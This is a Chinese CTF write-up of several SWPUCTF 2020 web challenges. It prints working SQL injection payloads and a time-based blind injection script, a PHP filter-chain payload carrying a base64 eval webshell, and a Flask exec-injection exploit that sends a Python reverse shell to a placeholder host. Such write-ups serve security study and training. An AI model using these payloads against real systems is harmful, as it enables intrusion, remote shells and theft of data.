大意了啊,没有扫!来,注!来,waf!就会用SQL欺负我这个练习时长两年半的老lj。。。
/administrator.html
/home.php
/index.php.bak
/log_in.php
/robots.txt
/test.php
/robots.txt
提示了/administrator.html
路由,访问/administrator.html
,存在一个登录框,复现的话就不搞事情了(滑稽)
下载index.php.bak得到一个请求体
GET /important_index_its_so_long_right.php?id=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
这地方才是真正的注入呀!
一顿联合注入获得登陆账号和密码:admin123 f1097380e513e86f2c1548cc1094bf4e(wllm@123)
回到/administrator.html
登录,登陆成功后F12获得注释信息
1
|
<!--<li><a href="writeuser_00001_log.log">日志记录</a></li>-->
|
访问获得日志记录,base64解码,然后访问up_lo_ad_ad_min.php
,看名字是upload,应该是上传,寻找上传点,找不到。。。看了wp才发现原来还有另一个库h1nt
,注入得到字段内容:
1:00001:last_index_come_on_swpu_ctf.php?id=4
使用00001登录up_lo_ad_ad_min.php
,出现上传点,绕不过,这里应该利用不了。。。不过此时hint字段的页面可以访问了且存在注入,直接load_file读取flag。
1
|
0'union select 1,2,3,load_file("/flag")--+
|
涉及到的所有字符均为小写
hint1: 利用join多个大表造成延时
hint2: 好好测测我都过滤了什么内容 根据过滤的内容想应对的方法
先传一个id=1,然后F12发现SQL语句:
1
|
<!-- select * from users where id = '$id'-->
|
fuzz一下,ban了不少东西,官方wp上有的我就不说了,说点实际复现过程中遇到的问题:
- 直接注会直接略过前1~4位,原因未知:使用reverse函数,然后将正注与反注的结果拼接(
正注:ag;反注:alllf.sresu
。这样很容易导致一个认知错误,就是会误认为表名是flllaag,这个我也不知道怎么解决,只能通过试错来判断了。。。)
- concat_group默认分隔符为逗号,但是逗号被ban了:使用通配符 . 代替逗号
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
import requests as req
import time
import string
chars = string.ascii_letters + string.digits + "_{}."
name = ''
session = req.session()
for i in range(50):
length = len(name)
for char in chars:
print(char, end="")
target = 'http://182.150.46.187:8801/ttttt/?id='
# 注表
## users,flllag
# sql_1 = "select(group_concat(table_name))from(sys.schema_table_statistics_with_buffer)where(table_schema=database())"
# sql_1 = "select(reverse(group_concat(table_name)))from(sys.schema_table_statistics_with_buffer)where(table_schema=database())"
# 无列名注入
## flag{blind_1nj3ct10n_1s_very_s1mpl3}
## 官方:select(group_concat(`2`))from(select*from(select(1))as`a`join(select(2))as`b`union(select*from(flllag)))as`a`
sql_1 = "select(group_concat(`2`))from(select*from((select(1))a)join((select(2))b)union(select*from(flllag)))c"
sql_2 = "select({})regexp'{}'".format(sql_1, name+char)
sql = "case'1'when(({}))then'1'else(select(count(*))from((mysql.help_relation)join(mysql.help_topic)join(mysql.proc)))end".format(sql_2)
SQL = "1'^(select({}))^'1".format(sql)
# print(s)
start = time.time()
res = session.get(url=target + SQL)
end = time.time()
if end - start < 0.5:
name += char
print("\n[*]结果为:" + name)
break
if length == len(name):
print("\n[*]最终结果为:" + name)
break
|
hint: robots,题目不能出网
robots.txt
User-Agent: *
Disallow: /index.php?route=contact
Disallow: /index.php?route=destinations
Disallow: /index.php?route=index
Disallow: /index.php?route=info
Disallow: /index.php?route=pricing
尝试路径拼接,访问/./././pricing.action
,返回正常,说明可以拼接路径,但是测试无法跳转,这时可以尝试远程文件包含:http://www.baidu.com.action
,回显处理路径源码:
1
2
3
4
5
6
7
8
9
10
11
|
<?php
function resolve_route($path) {
$path = @urldecode($path);
foreach ($bad_url as $ukey) {
if (strpos($path, $ukey) === 0) {
header('HTTP/1.1 404 Not Found');
echo "<p style=\"color: red\">Request URL '$path' dose not exist!</p>";
show_source('functions.php');
return;
}
}
|
可以看到这里对路径进行一次url解码,我们可以通过二次编码%252f
绕过。既然知道怎么处理路径了,接下来就是读文件了,php伪协议直接读
1
|
php:%252f/filter/convert.base64-encode/resource=index.action
|
在contact.action
源码中找到一个GET表单,它获得输入后直接将输入值插入html表单而不做任何处理,只有一个html实体化,这样的话我们就可以通过编码绕过然后包含执行。
http://47.116.79.40:32773/php:%252f/filter/convert.iconv.utf-8.utf-7/convert.base64-decode/resource=http:%252f/localhost/contact.action%3fname=xxPD9waHAgZXZhbCgkX0dFVFt0eXNraWxsMTFdKTs/Pg%23.action?tyskill11=phpinfo();
关键词搜索flag,找到
open_basedir: /var/www/html/f83b25c297736f9df64b448d0cfe9c70:/flag.txt
读flag,payload
1
|
php:%252f/filter/convert.iconv.utf-8.utf-7/convert.base64-decode/resource=http:%252f/localhost/contact.action%3fname=xxPD9waHAgZXZhbCgkX0dFVFt0eXNdKTs/Pg%23.action?tys=show_source("/flag.txt");
|
由于表单不支持POST,所以这里也许无法达成后门。
hint1: 尝试弄出错误页面,上面有东西
hint2: User-Agent
传数组出现debug界面,然后各种尝试大概复原源码就差不多了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
#coding=utf-8
from flask import Flask,render_template,request,send_from_directory
app = Flask(__name__)
whitelist = '.0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_abcdefghijklmnopqrstuvwxyz'
@app.route('/',methods=['POST','GET'])
def Hello():
return render_template("index.html")
@app.route('/equ.php',methods=['POST'])
def Equ():
left = request.form['left']
for ch in left:
if ch not in whitelist:
return render_template("equ.html",equation="I'm",result='莫的感情的bot')
right = request.form['right']
for ch in right:
if ch not in whitelist:
return render_template("equ.html",equation="I'm",result='莫的感情的bot')
equstr = left + "=" +right
exec("res="+left+"=="+right)
result= locals()['res']
return render_template("equ.html",equation=equstr,result=result)
@app.route('/robots.txt')
def static_from_root():
|
额,也不知道robots.txt
的/source.tar
是不是烟雾弹,访问返回404。。。
不管他,反正源码收集的差不多了,exec("res="+left+"=="+right)
存在命令注入,使用 ; 作为命令分隔符执行命令。由于禁用了()
,所以似乎没办法逃逸。同时也只导入了request,也没办法使用flask的内置函数逃逸,似乎除了官方的就没办法了(我太菜了)。
那就分析一下官方的payload:
1
|
left=request.__class__.__getitem__=__builtins__.exec;request[request.user_agent.string];1&right=1
|
1=1都看得懂,主要还是前面payload的构造。
这里是通过 = 获得模块__builtins__
,同理我们可以导入__import__
,但是白名单中并没有引号,所以也没办法直接命令执行。接下来就是从__builtins__
获得exec函数命令执行。此时request重载为<built-in function exec>
,直接request[request.user_agent.string]
执行UA头内容命令执行。
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
import requests as req
url ="http://noobpy.fkeuyri4yr34.das.wetolink.com:82/equ.php"
session= req.Session()
def exp(poc1,poc2):
data = {
"left": poc1 + "1",
"right": "1"
}
header = {
"User-Agent": poc2
}
res = session.post(url,data=data,headers=header)
print(res.text)
#exp('__builtins__.eval=__builtins__.exec#',"xxx")
exp("request.__class__.__getitem__=__builtins__.exec;request[request.user_agent.string];",'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);')
|
一开始以为是注入,结果F12里面action=""
透露着一丝诡异的气息,不是注入,那就扫!
访问/phpmyadmin
,尝试一波弱口令,没试出来,不会了。。。
开局一个注册框,随便注册一个1<??>1
,登陆进去发现用户名直接插入到html文本中。退出重新注册<script>alert(1)</script>
,发现可以弹窗,存在XSS,但是PHPSESSID设置了HttpOnly属性,我们无法通过js脚本获取admin的cookie。
咕咕咕
重来题目的环境都关了,就不复现了。
SWPUCTF2020 官方WP